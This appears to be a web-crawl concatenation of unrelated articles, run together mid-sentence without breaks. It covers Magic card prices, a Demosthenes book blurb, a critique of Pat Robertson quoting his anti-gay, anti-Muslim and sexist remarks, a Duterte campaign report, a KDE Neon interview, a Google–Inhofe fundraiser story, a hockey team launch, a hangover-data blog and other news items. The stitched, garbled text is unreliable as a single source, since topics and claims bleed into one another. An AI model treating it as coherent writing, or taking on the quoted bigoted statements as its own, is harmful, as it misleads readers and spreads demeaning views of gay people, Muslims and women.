victim to the metagame if RUG ends up poorly positioned at any given time. Even if he’s hands down the best card in that deck, it’s still only a single deck to drive his price. And like Narset, I don’t see him breaking out of Standard. Where does that leave his price? The last three eBay auctions for Sarkhan ended at $19 a copy, while the latest Narset auctions are over $30 each, to give you an idea of where the public is on them. Even if Sarkhan is solid it seems like sustaining a price tag north of $15 will be tough. Look for him to slip towards $10 as we get into summer. Lands Bulk Haven of the Spirit Dragon ADVERTISEMENT:: A Study in Defeat Raphael Sealey Oxford University Press, Mar 18, 1993 - History - 352 pages 0 Reviews This book draws on a wide range of evidence to study the history of Athens from 386 to 322 B.C. Taking a sympathetic view of the Second Athenian League, Sealey focuses on the career of Demosthenes to provide important insights into Athenian politics and policies. Demosthenes experienced repeated setbacks in his early attempts at public activity, but found his mission as a statesman in the conflict with Macedon and subsequently became the leading man in Athens. Sealey rejects theories that assume programmatic divisions among Athenian statesmen into pro- and anti-Macedonians, and argues that all Athenians active in politics resented Macedonian ascendancy but recognized the necessity of accommodation to superior power. His account concludes with the defeat of Athens and its allies and the suicide of Demosthenes, presenting new insights not only into the life of Demosthenes and the turbulent years of his political career, but also the social and international factors bearing on Athenian political activity in general. Preview this book »- Advertisement - - Advertisement - Pat Robertson's grip on reality has never been questioned: he simply has none and everyone knows it. His patently preposterous statements (cloaked as pearls of wisdom coming from the sage of the modern era) have long ago ensconced him in history's Motley Fool Hall Of Fame... with laurel wreaths. His penchant for talking about things he knows nothing about - from tattoos to baseball cards (in one sitting of the "Bring It On" section of The 700 Club) - has provided water-cooler humor for the last two generations. Quotes/clips of him have even been featured in The Colbert Report, an honor reserved for the most irrational of conservatives.* His latest assault on the rational, therefore, comes as no surprise, but it may just put the last nail in the coffin of Robertson's amusing "credibility." BBC News: "Controversial television evangelist Pat Robertson has decided that Facebook is in need of a 'vomit' button for pictures of gay people kissing. Speaking on his Christian show 'The 700 Club', over the weekend, Robertson, 83, also reaffirmed his belief that being gay should be punishable in the same biblical manner as bestiality and incest, by stoning." - Advertisement - Influence and Entertainment - The Two Things Seem To Go Together Overblown, cynical prose has its uses: bloggers like yours truly are often chastised for verbally browbeating someone like Robertson simply because they consider him irrelevant. It is akin to beating an old war horse - cruel and unnecessary. But real cruelty lies in past actions for which there is no accountability: a constant stream of demonizing from a Christian Right icon, who continues to demonize in the guise of an addled old man. And it is no good saying "Who listens to Pat Robertson anymore?". People do. Maybe not the amorphous people who posit ridiculous questions (probably written by The 700 Club staff at Robertson's insistence) but at this very writing there are at least a dozen elderly ladies touching their television screens hoping that the mere mention of Robertson's name will cure their hemorrhoids. Don't laugh. That's influence. The kind of influence Robertson has always craved and gotten for nearly forty years. Another reason why people pick up on the ravings of Robertson: entertainment value. Remember: America has made a religion out of entertainment and an entertainment out of religion. Robertson's ramblings are, if nothing else, entertaining. They are the reason why pundits like Stephen Colbert make use of them. Typical Robertson: "Feminism encourages women to leave their husbands, kill their children, practice witchcraft, destroy capitalism and become lesbians." "I know this is painful for the ladies to hear, but if you get married, you have accepted the headship of a man, your husband. Christ is the head of the household and the husband is the head of the wife, and that's the way it is, period." "Maybe we need a very small nuke thrown off on Foggy Bottom to shake things up" "Like it or not, males have a tendency to wander a little bit. What you want to do is make a home so wonderful that he doesn't want to wander." ''There is no such thing as separation of church and state in the Constitution. It is a lie of the Left and we are not going to take it anymore.'' - Advertisement - ''I want to say it again, and again, and again: Islam is not a religion, it's a political system meant on -- bent on world domination, not a religion. It masquerades as a religion, but the religion covers a worldwide attempt to exercise power and to subjugate the world into their way of thinking.'' ''If you go all the way back to the days just following creation, men lived nine hundred years or more.'' ''How can there be peace when drunkards, drug dealers, communists, atheists, New Age worshipers of Satan, secular humanists, oppressive dictators, greedy money changers, revolutionary assassins, adulterers, and homosexuals are on top?'' ''I know one man who was impotent who gave AIDS to his wife and the only thing they did was kiss.'' Next Page 1 \| 2 \| 3THE ANSWERS to how the unconventional campaign of Rodrigo Duterte was able to soundly defeat the supposedly tried and tested formulas of his rivals could be as elusive as the man who is being credited by his grassroots workers with Duterte’s victory—former rebel priest Leoncio Evasco. But while Evasco has successfully evaded packs of reporters hungry for answers to how he did it, one of his leaders on the ground in the Mindanao campaign has given Inquirer a glimpse of what made the Duterte campaign click. ADVERTISEMENT According to Joselito “Penpen” Libres, also a former rebel like Evasco, there was no complicated strategy in the campaign. It was simply a mass movement for change, he said. This may explain why one of Duterte’s favorite lines is “gikan sa masa, para sa masa (from the masses, to the masses),” lifted from a quote by Chinese revolutionary leader Mao Zedong and which Duterte used as the title of his weekly TV program in the city. According to Libres, grassroots leaders of the Duterte campaign, especially in Mindanao, believed that the people wanted change and saw it was possible through Duterte. It was a belief in the people’s capacity to bring about change when the chance to do it, in this case the elections, presented itself. “The principal strategy was to push for a campaign that relies on mass movement,” said Libres, one of the prime movers of the Duterte campaign in Mindanao. Left strategy Libres said it was a three-step strategy—inform, organize and mobilize. It sounds like a classic leftist strategy. And it is. Libres said the campaign team was composed mainly of former leftist activists who bravely fought the Marcos dictatorship. He said former cadres, who went underground during the dark days of martial law, composed the core of Duterte’s campaign team in Mindanao. “Many of the members of the campaign have activist backgrounds,” Libres said. ADVERTISEMENT Evasco is known to Duterte not just as a former rebel priest. He was city administrator under Duterte and later, mayor of Maribojoc town, Bohol province which he governed with the same grit and toughness with which Duterte governed Davao City. “In the grassroots level, there were many former activists, who now work in government, NGOs and private businesses, who were involved in the campaign,” Libres told Inquirer. He said many former activists, who surfaced after the fall of the Marcos dictatorship and supported Duterte, kept communication lines open with former comrades who were still in the armed struggle. The main advantage of a campaign run by former cadres and activists, according to Libres, was it gave the campaign a grassroots touch and helped build a foundation that would be uncompromising on principles and a pro-poor agenda. Bottom-to-top “In the beginning, the primary task was to build the mass movement while the other aspect of alliance work with other parties and candidates was pursued in the middle or latter part of the campaign,” Libres said. It was an inverted pyramid formula, bottom-to-top strategy and it was a big gamble, Libres said. It was unconventional, he said. “Duterte had no established, well-oiled mechanism unlike the other (candidates) who are already set from the top to the bottom,” Libres said. “He needed to adjust his approaches because the traditional method was not appropriate,” he said. Libres said the conventional way of dealing with political parties and politicians would have been through money. “They would usually ask how much they would get,” Libres said. “The mayor does not have the money and would also not engage in financial horse trading even if he has the resources.” “So our approach was, when we had built up the mass movement and support for Duterte, we used this as a bargaining chip in talking with parties and candidates,” he said. It was common for candidates to use personal and party resources to gain advantage in their campaigns, Libres said. “But Duterte’s campaign proved that you do not need to have the money and a strong political party to win,” he said. “For his campaign, the people filled the gap in resources,” Libres added. Instead of shelling out cash to pay for campaign workers, the Duterte campaign tapped volunteers who offered their services for free and were given tasks ranging from actual campaigning to printing T-shirts and campaign materials. “Ordinary people even volunteered to provide the materials that we needed,” Libres said. Testing the waters When Duterte started his listening tours for federalism last year, which his campaign team admitted aimed to test the waters for the Davao mayor and his chances of winning the presidential race, Libres said the crowds and audiences the presumptive President attracted were small. Libres said the campaign team was aware that Duterte’s popularity was low before his listening tours since few people knew him outside of Mindanao. Duterte’s most memorable appearance on national TV was his attendance at a Senate inquiry on rice smuggling in February 2014 during which he publicly cursed and threatened to kill a businessman accused of bringing in smuggled rice through Davao City. The crowds attending Duterte’s listening tours swelled by the thousands soon after. “We can trace this overwhelming support to the desperation of people for real change,” Libres said. Duterte’s main platform was crafted based on his conversations with people during his tours around the country, the campaign team said. This mass movement that helped propel Duterte to the highest elective position of the land would keep itself intact and continue to grow, said Libres. “It was clear from the start that the burning desire was not just to generate votes but also to protect their votes,” Libres said. Libres said with Duterte starting the transition to his administration, his Mindanao campaign team wished the people would own the victory, own the government. Grassroots governance “Our agreement (among members of the Mindanao campaign team) was to sustain the movement,” said Libres. “This movement that got Duterte elected will be the same movement that will support him in realizing his objectives,” Libres said. He said Duterte now had promises to fulfill and the unconventional campaign machinery that helped him win would be transformed into one big watchdog that would take part in governance in the grassroots level. “They will be involved in various programs and projects,” said Libres. “They should feel that they have a role in this government. The people will be involved even in simple undertakings like education, information dissemination and suppressing criminality.” “This mass movement will also act as a watchdog to check on the performance of agencies, local government units and even Malacañang. The people will play an active role. They are not just recipients of government programs,” he added. Read Next LATEST STORIES MOST READA lollipop man moved children into the path of an on-call fire engine ‘several times’ before being removed from the crossing by firefighters, it has been claimed. Luton Borough Council has launched an investigation into allegations that a crossing guard posted outside William Austin Junior School ignored a fire engine’s sirens and blocked its progress by repeatedly ushering children and parents across the road. The crossing is situated at the back of William Austin Junior School, on St Ethelbert Avenue, Luton LATEST: The lollipop man has now been sacked. At the time the fire crew was on its way to a tree fire on St Ethelbert Avenue– just a few doors down from the crossing. The crossing guard has been suspended while the probe is carried out. Eyewitness Jacqui Brittain, who saw the incident from her bedroom window, told the Luton News that the lollipop man had to be forcibly moved from the road by firefighters. Mrs Brittain, 60, said: “He started crossing children when the engine was only a few yards away, I thought ‘get out of the road’. “It came to a halt at the crossing as he stood there waiting, then he went back to the pavement and did it again. “He just carried on until five or six firefighters got out to speak to him, they surrounded him. “I bet they couldn’t believe their eyes when he went out again, it could have been someone burning to death.” The council said it has requested CCTV footage from the fire engine “to ascertain exactly what happened” during the incident, which occured last Monday (April 13) at 3.30pm. A spokesperson added: “It is vital that emergency services are able to reach their destinations quickly and freely, and we have begun an immediate investigation in line with council procedures.” Before the fire engine reached the crossing its progress had already been slowed by vehicles parked in ‘no parking’ zones and an ice cream van waiting for schoolchildren. A Beds Fire and Rescue Service spokesperson said that during the confusion with the crossing guard a firefighter was forced to move the remaining pedestrians out of the road himself, before assisting other vehicle drivers to clear a path for the engine. Trevor Gradwell-Smith, Luton Community Fire Station commander, said: “Effectively tackling fires, road traffic collisions and other incidents depends on our firefighters arriving at the scene as quickly as possible. “Our drivers are trained to take care and protect the public when travelling to incidents but we do hope the public support us by clearing a path for our vehicles.” Mrs Brittain, who herself worked as a crossing guard for 20 years, told the Luton News of her shock at the incident. She said: “One of the first things they said to me during training was that if you hear sirens you should keep the kids on pavement and wait. “Usually what happens is that one engine will go through and another will follow soon after. “Seconds count with a fire, it was really dangerous. “My husband also pointed out to me that it doesn’t give a good example to the kids as it tells them that they can go in front of fire engines which have their lights flashing.” It is believed that the tree caught fire from a bonfire outside a home on St Ethelbert Avenue. When they were able to make their way to the home firefighters extinguished the blaze using a hose. William Austin headteacher Joanne Adams declined to comment on the incident when contacted by the Luton News.A measure that would allow the extension of of taxes now being used to pay off the late Kingdome, Qwest Field and Safeco Field – with the money going to fund an expansion of the convention center in Seattle and to support arts and culture – moved out of a state Senate panel on Thursday. House Bill 1997 was referred – without recommendation – by the Economic Development committee to the Ways & Means committee. It is sponsored by Rep. Tina Orwall, D-Des Moines, and has the strong backing of King County Executive Dow Constantine, the labor unions and most business and arts group. Opponents say the Legislature promised voters in 1995 that any levies used to pay for Safeco would go away when the new field was paid for. They feel that promise should be kept. Safeco Field should be paid off this year; the Kingdome and Qwest Field will be debt free later this decade. The measure, which would raise hundreds of millions of dollars in the coming decades, would allow King County to extend car rental taxes, a 0.5 percent restaurant and bar tax and a 2 percent hotel/motel tax. Monies collected would be used to expand the Washington State Convention Center, fund arts and culture programs and build housing for service and hotel workers. The bill specifically prohibits any of the tax money from being used “for acquiring or constructing a stadium used by a professional sports franchise.” Orwall says her legislation would create 4,5000 new construction jobs, 3,000 new, permanent jobs, create more than $1 billion in economic activity and lure 130,000 in additional visitors each year. However critics have said spending tax money to expand the Seattle convention center makes no sense, considering that demand for the center’s services has been declining. In the 2009 fiscal year, the center hosted 474 events; the year before that number was 671, according to figures from the convention center. In 2009, nearly 431,000 people attended events at the Seattle facility; in 2008 more than 482,000 people went to shows there.Instagram Greg Oden's NBA career has been filled with plenty of trials and tribulations. Sure, being picked No. 1 overall by the Portland Trail Blazers makes him the very definition of a draft bust, but he's also had to fight through an endless stream of knee injuries. Friday night, it may all have been worth it. Oden got to dance with a trophy celebrating the victory over the Indiana Pacers, one that came in a 117-92 rout and allowed the Miami Heat to advance to the NBA Finals for a fourth consecutive season: Oden, who had his work cut out for him to even make it back into the NBA, did more than just play basketball. He managed to stick on the Miami roster throughout the 2013-14 season, and he earned the right to dance to his heart's content after playing five minutes in garbage time of the game that clinched the Eastern Conference Finals. [Instagram]Local news outlets are reporting that pilots from Naval Air Station Whidbey Island—the home of the Navy's fleet of EA-18G Growlers, as well as larger maritime patrol aircraft—drew a massive male genitalia in the sky with their contrails. The phallic sky art occurred near the town of Omak, which is located in north-central Washington, on the western edge of the Colville Indian Reservation. The area lays under the expansive Okanagan Military Operating Area (MOA). This restricted airspace is used regularly by Growler crews from NAS Whidbey Island and by other military pilots visiting the area for training purposes. KREM 2 (more pictures at the link), a local CBS affiliate out of Spokane, said a local mother took pictures of the wind-borne wiener and complained to the station that it was inappropriate and that she doesn't want to have to explain it to her children. The good folks over at KREM 2 News inquired about the racy sky art with the Navy, and got the following response: "The Navy holds its aircrew to the highest standards and we find this absolutely unacceptable, of zero training value and we are holding the crew accountable." The FAA told the station that there was nothing they could do unless there was a safety risk and that they "couldn't police morality." It's not like this type of controversy hasn't happened before, but I sure wouldn't want to be taken out of an EA-18G Growler cockpit and put into a C-130 cockpit "hauling rubber dog shit out of Hong Kong" for this unique aerial display of self expression. I guess we can just chalk this up to what has already been a season of "stranger things" occurring in the skies over the Pacific Northwest. Contact the author: Tyler@thedrive.comShare. Based on feedback from fans. Based on feedback from fans. BioWare has confirmed that Mass Effect 3's storyline may change in response to fan feedback. Following a mistakenly-released beta that led to leaked story files, co-founder Greg Zeschuk says that the development team is actively paying attention to fans' input. "We listen to our fans all of the time," Muzyka said. "We listen to them on the forums, their feedback from stories. We're reading it all. If we can get ideas out of it that will make the game better, sure. We're not adverse to taking feedback. That's part of our core values, is humility. Any time we get a good idea from fans... they're our audience. They keep us in business." Exit Theatre Mode He added that the leak actually had a positive effect overall, as it led to more interest in the game as fans discussed the new content. Still, the development team did feel the effects of an unfinished game reaching the eyes of fans. "It is hard on a team when they see their work revealed in an early form like that. It was a pre-release demo. The script was certainly not intended to be released in that form and that early," Muzyka said. "But they're going to get through it because they're a strong group. They really care about delivering a great game to the fans. They're committed to making this the best Mass Effect." Finally, Muzyka said that he hopes fans won't read the leaked information, and warns that it will affect their experience while playing the game. "Don't spoil the story. The fun of the story is uncovering things and exploring and finding new points to adventure in. I hope they don't lose that joy of discovery." Mass Effect 3 will be released on March 6, 2012. A demo will be coming in January. Source: Eurogamer.Oakland to honor 25 leaders in huge sculpture MONUMENTS Artist Mario Chiodo admired Helen Keller enough to carve her into his "Remember Them Champions for Humanity" 9/11 monument that is in the its final stages prior to going to the refinery to get bronzed. Thursday Dec 17, 2009 less Artist Mario Chiodo admired Helen Keller enough to carve her into his "Remember Them Champions for Humanity" 9/11 monument that is in the its final stages prior to going to the refinery to get bronzed. Thursday... more Photo: Lance Iversen, The Chronicle Photo: Lance Iversen, The Chronicle Image 1 of / 4 Caption Close Oakland to honor 25 leaders in huge sculpture 1 / 4 Back to Gallery Oakland's version of Mount Rushmore will rise this year in an Uptown park: a towering, ponderous monument to great leaders that organizers hope will inspire schoolchildren and awe tourists. The $7 million monument, "Remember Them," features 25 famous people who fought for peace or human rights. They're an unlikely crew, ranging from Winston Churchill to Malcolm X to Harvey Milk to Mother Teresa, soon to be joined in eternity. The monument, to be installed in a park next to the Fox Theater, will be one of the largest bronze sculptures in the United States. It will be three stories tall, weigh about 25 tons and span 90 feet - a third the length of a football field. "People don't usually pay attention to public artwork. But the artwork that people get excited about - it's big," said Oakland artist Mario Chiodo, 48, who until now was best known for his horror masks and Las Vegas sculptures. "If I had my way, it would have 300 people. But you've got to start someplace." The first piece of "Remember Them" will be installed this month. It features Maya Angelou and Ruby Bridges, the Louisiana girl who, in 1960, was the first African American student at an all-white elementary school in New Orleans. The rest of the monument will be installed by the end of the year, if Chiodo can raise about $4 million needed to finish the project. The monument is likely to be a popular field trip destination for East Bay schoolchildren, thanks to a high school curriculum created by the King Institute at Stanford. The curriculum focuses on the 25 figures in the sculpture, their work and historical impact. Angelou, along with Bill Clinton and Martin Luther King Jr.'s son, are among the project's ardent supporters. "This is important because people my age want to know that all the things we've lived through have not been for naught," she said in a documentary about the project. The project is funded mostly through private donations, including a $1 million gift from Kaiser Permanente. The city last month gave Chiodo a grant for $182,000, which some residents protested in light of the city's budget deficit. The council approved the grant unanimously, in part because the fabrication and installation will create
’ll add updates of individual packages as needed. Qt is the one we’re starting with, of course. So we expect it to still be a useful system in two years time, but if not then we’ll look at updating the foundation in a sensible way. Paul Brown: Interesting use of the term “foundation”. As I understand it, Neon is not a distro, but a framework that sits on a distro. Would that be an acceptable description? Jonathan Riddell: Yes, that’s a sensible way to think of it. Paul Brown: So, it begs the question, would it be possible to port Neon someday to other distros different from Ubuntu and is this something you are contemplating? Long term? Jonathan Riddell: It’s not something we’re very interested in. As soon as you add another distro you double the work but you’ll still get many people asking if you can support their preferred distro. More likely we’ll look at using a component package system such as xdg-apps so we build software which can be installed anywhere with that. That looks quite promising and makes a lot more sense than building packages 50 times for different distros. Paul Brown: Let me repeat I am not a technical person, and I am probably missing something. But I am looking through KDE.org’s download site right now and I can’t see any deb packages. How do you make apt work with that? Excuse me if this is a stupid question. Jonathan Riddell: That’s the KDE source download server. If you’re releasing KDE sources you put them on there. You have to go to Neon’s server which is what is set in sources.list if you’re using KDE Neon. But we’re a KDE project so it’s part of KDE infrastructure, the KDE sysadmins have access in the normal way you’d expect and anyone in the KDE community can develop our stuff. We have our own packaging git archives and anyone with a KDE contributor account can commit to those. So if you’re a Calligra developer and you notice a problem in the packaging, there’s no faff of finding someone who can commit a fix. You just do it. Then if you want to build packages, anyone with a KDE account can click-build them. That’s the beauty of being part of the same community: we already have 500 people who can help with Neon. Paul Brown: It seems that support has grown a lot for Neon over the last few months. I read that Neon had only attracted a small subset of KDE developers. I was imagining 5 or 6, definitely less than 20. Jonathan Riddell: We’ve had a great response, people are very enthusiastic about the idea. Paul Brown: Do you have any figures of how many developers are contributing to the project? Jonathan Riddell: It’s mostly just me and Harald Sitter at the moment. The nice thing about using modern cloudy-devopsy-buzzwordy technology is you can implement this stuff without a whole team of developers. We have some useful helpers like soee and clivejo, though. Paul Brown: And all those other guys hanging out at #kde-neon [the IRC channel on Freenode]? Jonathan Riddell: Some are useful user supporters, some are useful testers, some are interested contributors from other KDE projects who want to make sure we’re treating their software with the respect it deserves. Some are VDG (KDE Visual Design Group) folks who help out with vision, website design, testing plans, and marketing. And some are fans. As for metrics, that’s always hard with free software, but I’m playing with ways to count installs, which is something KDE has always been bad at. Often for good reasons: privacy is in our vision now. Using the machine id that gets sent with release update checks I can count 565 installs of KDE Neon this month. But one other reason this is a tech preview is I haven’t implemented the opt in/out for that yet, which is something I’ll need to do. We’ll see how that number increases after today’s User Edition preview is announced. Paul Brown: When do you think we will see a post-“tech preview” version? Jonathan Riddell: No promises. I’m not vain enough to suggest it’s possible to measure how long software development takes, especially not when doing something completely new such as this. Paul Brown: Ballpark. Jonathan Riddell: I think with the user edition out we’ll need to collect the priority features and bugs to sort out such as UEFI support and maybe switching installer. Give me another month maybe. Paul Brown: And what is on your wishlist for Neon? Are there any technical issues that particularly bug you? Jonathan Riddell: I consider KDE Neon to be my perfect operating system, although I do wish we could get printer auto-detection added to print-manager. Alas printing isn’t a very exciting subject for most people. But, being a KDE project, we won’t fix that in Neon. We’d fix that in KDE’s print-manager, just like when we needed a boot splash for Neon: we didn’t get one added to Neon, we got one added to KDE Plasma. Paul Brown: I must say the install process is very pretty and the logo is elegant. Jonathan Riddell: That’s all down to KDE’s wonderful visual design group. They’re lovely people. Paul Brown: And beyond the realm of the purely technical? I guess you would like to draw a big comunity… Jonathan Riddell: We’re using modern social means for people to chat and ask for help with Neon, so I encourage all our users to join the Facebook and G+ groups, follow the Twitter feed, join the chat on Telegram, and the KDE forums. Come along and say hi. Paul Brown: What can readers do to help the project? Jonathan Riddell: Give it a try and let us know how it goes. If you have a second, fill in the testing report for the User Edition is linked from the announcement so fill in those questions. You can can also report bugs. Help out users in the various user support groups mentioned above. If you’re keen to help out, then join us in #kde-neon on Freenode and say hi and see what you want to do on the TODO list. Paul Brown: Where can they download the ISO images from? Jonathan Riddell: We’ve got a download page with all the images. Paul Brown: One more thing… What’s a Twinkle? Jonathan Riddell: Twonkle. Paul Brown: That. Jonathan Riddell: It’s Weegie Scots for “guapo”. Paul Brown: Urban Dictionary begs to differ. Jonathan Riddell: These Weegies have a strange way with compliments. Cover Image: Neon by Karen Castens for Morguefile.com.Donald Trump's comments about and behavior toward women has been the subject of intense criticism since his presidential campaign. He faced a backlash for the recorded "Access Hollywood" comments about forcing himself on women. Most recently, his comments about Mika Brzezinski, the co-host of MSNBC's "Morning Joe," and to Brigitte Macron drew sharp rebuke. I've been hearing statements from a wide range of women who say they feel something has changed after the campaign and election: that there is less shame about sexist language or attitudes. They have said that men feel emboldened to make sexist remarks or to dismiss objections as "political correctness." I'd like to hear from women about whether they have experienced specific incidents of this nature—an encounter at work, in your social life, on the street or online—that are markedly different than what they encountered before the election. I'm looking to hear concrete anecdotes rather than impressions. I'd like to publish a selection of your stories along with your name—It's important to be able to name names whenever possible. I may contact you to hear more about your story.Proceeds of the lunch, priced at $250 to $2,500, will benefit the Republican Jim Inhofe, who calls climate change a 'hoax' Google, which prides itself on building a "better web that is better for the environment", is hosting a fundraiser for the most notorious climate change denier in Congress, it has emerged. The lunch, at the company's Washington office, will benefit the Oklahoma Republican Jim Inhofe, who has made a career of dismissing climate change as a "hoax" on the Senate floor. Proceeds of the 11 July lunch, priced at $250 to $2,500, will also go to the national Republican Senatorial Committee. It's the second show of support from Google for the anti-climate cause in recent weeks. Last month, the Washington Post reported that the internet company had donated $50,000 for a fundraising dinner for the ultra-conservative Competitive Enterprise Institute – topping the contributions even of the Koch oil billionaires. The Competitive Enterprise Institute has launched multiple law suits aimed at trying to discredit the science behind climate change – accusing scientists of fraud. None have so far succeeded. The CEI also specialises in filing open records requests, demanding universities turn over email correspondence of climate scientists with journalists. Facebook also contributed $25,000 to the CEI dinner last month. Google's show of support for the leading climate contrarian in Congress was criticised by climate activists on Tuesday. "Google's motto is 'Don't Be Evil', but it is supporting one of the worst deniers of climate science in the world," said the Climate Progress website, which first reported on the story. Inhofe has spent more than a decade challenging the science behind climate change, and trying to stop Congress from acting on climate change. He has repeatedly dismissed climate change as a "hoax" or "hysteria", and cited the benefits of global warming for the economy and the environment. The campaign group Forecast the Facts launched a petition calling for Google's chief executive officer, Larry Page, to cancel the fundraiser. Google has been a corporate leader in fighting climate change. The company claims on its Google Green website to be creating "a better web that is better for the environment"by investing $1bn in renewable energy and making considerable savings in electricity use at its data centres. Google initially refused to comment on the record about its support for Inhofe. However, a company spokesperson noted that Google maintained data centres in Oklahoma. The spokesperson then sent an email saying: "We regularly host fundraisers for candidates, on both sides of the aisle, but that doesn't mean we endorse all of their positions. And while we disagree on climate change policy, we share an interest with Senator Inhofe in the employees and data center we have in Oklahoma." Google's website notes the company has invested $700m in two data centres in Oklahoma. The state is a leading oil and gas producer - and Inhofe has been a strong promoter of the industry. However, Google has contracted to power its data centres through wind energy. "They can probably rightfully claim that the facility is powered 100% by wind," said Gary Cook, technology campaigner for Greenpeace, which tracks greenhouse gas emissions from the IT sector. He added: "But even so, Jim Inhofe is the biggest obstacle to climate change action in the Senate so what are they doing raising money for him?"✨ Another approach to render asynchronous redux app on the server Birkir Gudjonsson Blocked Unblock Follow Following Jun 16, 2016 I’m Birkir Gudjonsson, software engineer currently living in Reykjavík, Iceland and working for UENO. (a digital agency based in SF). We craft web-sites and apps for some pretty big names, using all the awesome tools and frameworks that the JS Gods have given us. So most people render their React app only on the client while others also render on the server, often called Universal, which most of our clients usually want. The easiest server render approach is to manually fetch the data needed and inject it into the state before rendering. Dan Abramov demonstrates how this can be achieved in the redux docs 📘. The problem here is that your state becomes inconsistent between the client and the server because the redux actions don’t handle adding data to the state like they do on the client. Other, more dynamic approach is to use the react-router’s “match” method to get a component tree from the router, parse it and find components that contain a special method that dispatches an async action, waits for them to resolve and then renders. This method is limited to route components only, and all later actions that might happen as an result won’t 🔥.ST. JOHN'S – Danny Williams, President and Chief Executive Officer, today announced that the new AHL franchise in Newfoundland and Labrador will be called the St. John's IceCaps. Williams was joined by Glenn Stanford, AHL Governor and Chief Operating Officer of the team, at Mile One Centre, where they also unveiled the team logo. Background information on the rationale behind the IceCaps name and logo “I am so pleased to present the St. John's IceCaps and our new logo to fans, as we begin a new era of professional hockey in the province," said Mr. Williams. “The IceCaps is a name that I am confident hockey fans will support as it captures both our rich hockey history with a reference to the Caps, while at the same time capturing a natural element that is iconic for the province, ice. We wanted to ensure that, although the team is based in our capital city, the province as a whole can identify with it and embrace it as their own."The logo consists of IceCaps over rugged mountains. The mountains are capped with ice that is an illustrative map of Newfoundland and Labrador. The colours are reflective of those used in the logo of the parent team, the Winnipeg Jets. Known for its tough but resilient northern climate, Newfoundland and Labrador has strong ties to ice in many forms. From the iconic majestic iceberg, which attracts hundreds of thousands of tourists a year, to ocean exploration and ice capped landscapes, the association of the word to a sport that is played on an ice surface was a natural fit in naming the team. “Caps" not only perfectly complements the name in the literal translation of an icecap, it is also pays tribute to the St. John's Caps, a Newfoundland Amateur Hockey Association team which played in the former provincial senior hockey league.“The beauty of the ice-capped mountains, the outline of Newfoundland and Labrador displayed prominently and the jagged look of the mountains themselves are all indicative of the robust nature of our province," said Mr. Stanford. “We also expect it to be a staple of our team; hard-working, tough and rock solid."Williams said it was important to him to ensure the province was represented well in the new name and logo, as it will be a marketing tool for Newfoundland and Labrador in 29 other cities throughout the league.“From Houston to Abbotsford, B.C. to Chicago and Milwaukee, this name and image will market not just our team, but also our province," added Mr. Williams. “In every aspect of my life from business to politics to hockey, I have always made every effort to promote this incredible province to the world, as a unique and attractive place. In this name and with this logo, we have captured the essence of what it is to be a province in the middle of the North Atlantic. We have built on our strengths and our natural assets, and created a team name that will once again put this province on the map."Stanford said with 20 years experience in the AHL, he is excited to introduce to name and logo to the league where brand is so important.“It is critical to have a name and logo that fans at home can embrace and fans on the road will remember," said Mr. Stanford. “This name and logo does both. The St. John's IceCaps will be a memorable and easily identifiable team in the league, and I am excited to start promoting it both here at home and abroad."Following the announcement, a number of young hockey fans paraded through Mile One sporting the new logo. Merchandise can be purchased starting immediately at the following retail locations throughout the city: That Pro Look, Maverick Sports and Collectibles, Play-it-Again Sports and Sportscraft.Mr. Williams also announced that the team's home opener will be played on October 14th at Mile One Centre. The opposing team has yet to be named.The St. John's IceCaps are the newest team in the American Hockey League, and bring pro hockey back to St. John's after a six-year hiatus. St. John's is the farm team of the Winnipeg Jets.The team name, IceCaps, is a clever combination of the history we are so proud of and the climate and landscape for which we are so well known.The name is nostalgic of the St. John's Caps, the local NAHA senior hockey team, circa 1960. The Caps, of course, is short for Capitals, St. John's being the capital city of Newfoundland and Labrador.Newfoundland and Labrador is known for many things – our culture, charm, humour, character, strength of self, determination in the face of adversity, and so on. And one of our main icons from a tourism perspective has always been the majestic iceberg. For years, the iceberg has been a major component of our tourism marketing. The prospect of seeing an iceberg up close and personal is something that has attracted people here from all over the world. In fact, this year is said to be one of the best iceberg seasons in a long time. In addition to being a tourism icon, our entrepreneurial people have turned our icebergs into lucrative businesses, creating a breadth of products from our icebergs.In more recent times, the province has also established itself as a world leader in ocean technology. From the Marine Institute to C-CORE and other organizations, the province has become international experts in ocean research and development, exploration, ice patrol and monitoring, innovative technology, etc.The concept of incorporating the province's natural assets and rich history into the new name of the team, was key in the decision making process.The logo features a jagged mountain or rock with the geographic shape of Newfoundland and Labrador on its surface like snow or ice. This province is beloved for its rugged landscape, geology, and snow-capped mountains in our northern regions.The map of Newfoundland and Labrador was purposely incorporated in the logo to declare this a hockey team for the entire province, not just the city of St. John's.The colours in the logo represent the coldness of ice, as well as our ocean culture. In fact, when you look at the word IceCaps, you can see the line where the ocean meets the sky. The colours also stay true to those of our parent NHL team, the Winnipeg Jets.The mountain graphic and the IceCaps font are purposely jagged and edgy: rugged like our land, strong like our people, and fierce like our hunger for hockey.I awoke suddenly at 6 am this morning with an overwhelming urge for sugary, sugary fruit juice, a large Domino’s pizza and to stand under a healing waterfall, if such a thing exists. It could only mean one thing. The hangover fairy had been, and today would be a struggle. Brandwatchers across Brighton (the home of Brandwatch HQ) were stirring, bleary eyed and feeling existential. A post-company meeting celebration had seemed like a great idea twelve hours ago. Friday-style drinks on a Tuesday night – what could possibly go wrong? Look how happy we were. Now the Tuaca grin of our CMO Will McInnes is merely a memory. Making our way to the office this morning, the Brandwatch React team weren’t feeling too pretty. Amid the knowing nods to colleagues with their heads in their hands, an unjustified annoyance at the non-drinkers and fresh faced people who didn’t go out last night and a grateful trip to the communal fridge for hangover supplies, we had an idea. Today we would find out which day is the most hungover day of the year and how other people deal with hangovers, using social data. If you’re hungover and reading this, don’t worry. There are no triggering references to alcohol below this point. Unlimited Historical Hangover Data This project is what Unlimited Historical Data was made for. After writing our hangover query (mentions of “I’m” or “I am” or “im” near “hungover”, excluding RTs, Twitter only), three years of historical tweets were quickly backfilled. Our data focused on 1 February 2015 – 25 July 2017, in which we found nearly 750,000 hangover cases. We were then able to look at those mentions over time, by day of the week and time of day.ARBIL, Iraq (Reuters) - Kurds from Turkey, Iran, Iraq and Syria have agreed to convene a pan-Kurdish congress to tackle historical divisions and position themselves to take full advantage of regional upheaval. Often described as the world’s largest ethnic group without a state of their own, Kurds regard the modern borders that have carved up their homeland of “Greater Kurdistan” as a historical injustice. Geopolitics may have condemned the Kurds to live in four different countries, but their own competing ideologies and partisan rivalries have also got in the way of greater unity, and even led to armed conflict. Representatives of 39 Kurdish parties attended a symbolic meeting in the capital of Iraq’s Kurdistan region on Monday, though any joint initiatives, let alone the political or institutional unity that some dream of, are still a long way off. No date for the conference has yet been set, but 